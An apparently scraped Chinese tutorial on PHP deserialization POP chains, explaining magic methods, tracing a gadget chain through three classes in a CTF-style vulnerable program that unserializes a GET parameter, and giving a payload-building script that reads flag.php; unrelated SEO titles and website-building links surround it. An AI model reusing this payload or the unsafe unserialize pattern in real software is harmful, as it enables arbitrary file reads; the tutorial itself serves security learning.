当前位置: 首页 > news >正文

网站静态页面下载工具用wordpress当wiki

网站静态页面下载工具,用wordpress当wiki,免费微信小程序平台,高大上 网站POP( Procedure Oriented Programming )链是反序列化安全问题中相对比较重要的技术点,相比于其他的反序列化问题,这种漏洞的产生更加难以发现,以及在利用上也比较复杂。 要掌握这个东西首先要先了解面向对象中的几个特…

POP( Procedure Oriented Programming )链是反序列化安全问题中相对比较重要的技术点,相比于其他的反序列化问题,这种漏洞的产生更加难以发现,以及在利用上也比较复杂。

要掌握这个东西首先要先了解面向对象中的几个特殊函数:

1. __call() 函数

当调用一个不可访问的方法时会自动调用本函数。这里的不可访问包含私有属性或未定义。

2. __get() 函数

当调用一个不可访问的属性的时候会自动调用本函数。这里的不可访问包含私有属性或未定义。

3. __set() 函数

当给不可访问的属性进行赋值的时候会自动运行本函数。

4. __toString() 函数

当将当前对象以字符串的形式进行输出时会执行这个函数中的代码。

5. __destruct() 函数

当对象操作执行完毕后自动执行__destruct()函数的代码。

6. __wakeup() 函数

在进行反序列化的时候会优先调用本函数。

7. __construct() 函数

初始化函数又叫构造函数,用来在创建对象的时候进行一些初始化操作,如执行函数、初始化变量。

这里我用一个网上的程序来讲一下,因为这个例子比较简单,适合刚接触的同学研究。过段时间会拿一个赛题来具体讲一下。

class C1e4r{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}class Show{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}class Test{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}

public function __get($key)

{

return $this->get($key);

}

public function get($key)

{

if(isset($this->params[$key])) {

$value = $this->params[$key];

} else {

$value = "index.php";

}

return $this->file_get($value);

}

public function file_get($value)

{

$text = base64_encode(file_get_contents($value));

return $text;

}

}

$name=unserialize($_GET[strs]);

POP链的主要内容就是对象中的各个函数间的调用关系链,将每个函数的调用关系拼接起来就是我们的 POP 链。

那么根据这个思维来看上面的程序,我们首先确定好要调用Test类中的 file_get 方法来读取文件内容,为此我们需要使用 Test 类中的 get 方法来调用 file_get 方法,接下来发现 Test 类中的 __get 方法可以调用 get 方法从而调用 file_get 来读取文件。

那么现在的POP链就是:

Test::__get()->Test::get()->Test::get_file()

下面继续寻找能够触发__get()方法的途径。在 Show 类中看见有个 __toString 方法,其中能够调用一个属性进行赋值操作,这里可以触发 __get 方法,所以这里需要将创建的 Test 对象赋值给 $this->str['str'] ,那么如何去触发 __toString 方法?这里可以通过 C1e4r 类中的 __destruct 进行触发。

那么现在的POP链就很明了了 , 这里给的是逆向关系链。

((Test::__get()->Test::get()->Test::get_file())->Show::str[‘str’])->C1e4r::str

接下来构造利用脚本

<?php
class C1e4r{
public $test;
public $str;
public function __construct($name){
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show{
public $str;
public $source;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Test{
public $file;
public $params;
}
$T=new Test();
$T->params=array('source'=>'flag.php');
$S=new Show();
$S->str=array('str'=>$T);
$C=new C1e4r($S);
echo serialize($C);
?>
http://www.yayakq.cn/news/288965/

相关文章:

  • 中铁建发展集团有限公司网站竞价难做优化
  • 怎么网站怎么建设框架东莞正规的企业网站设计多少钱
  • 网站设计 网站推广 网站优化怎么把自己做的网站挂到外网上
  • 百度网站怎样优化排名网页制作工具按其制作方式分可以分为
  • 好看响应式网站模板建立网站如何
  • 天津专业网站设计报价自己能开发app软件吗
  • 易销云建站公司利用代码如何做网站
  • 天津网站制作机玩法部绍兴做网站
  • 个人创办网站如何在谷歌上做网站
  • 浙江省建设厅新网站人员无法查询wordpress 微博页面
  • 北京托管网站集群网站建设
  • 织梦网站404怎么做租赁网站空间更换怎么做
  • 怎么查询网站备案接入商wordpress缓存插件对比
  • 城乡建设杂志网站社区网站建设难点
  • 巴中建设厅网站电话十大erp系统
  • 珠海在线网站建设商丘网络科技有限公司
  • 十大网站app排行榜新郑市建设局网站
  • Html5做旅游网站的设计思路重庆好网互联
  • 新网站收录多少关键词网站的营销推广方案
  • 西安做网站招聘永州建设学校官方网站
  • wordpress 好不好seo优化网站源码
  • 张家港百度网站制作oa系统的主要功能
  • 汕头网站建设设计动漫设计培训机构
  • 网站开发与维护学什么建一家网站多少钱
  • 有可以做ssgsea的网站么制作wordpress模板教程
  • 网站建设哪里公司好做团餐的企业网站
  • p2p网站建设公司html网页制作代码大全期末
  • 网站开发 招聘 龙岩wordpress 自动汉化
  • 网站效果主要包括龙口网站建设公司报价
  • 制作网站 公司做情诗网站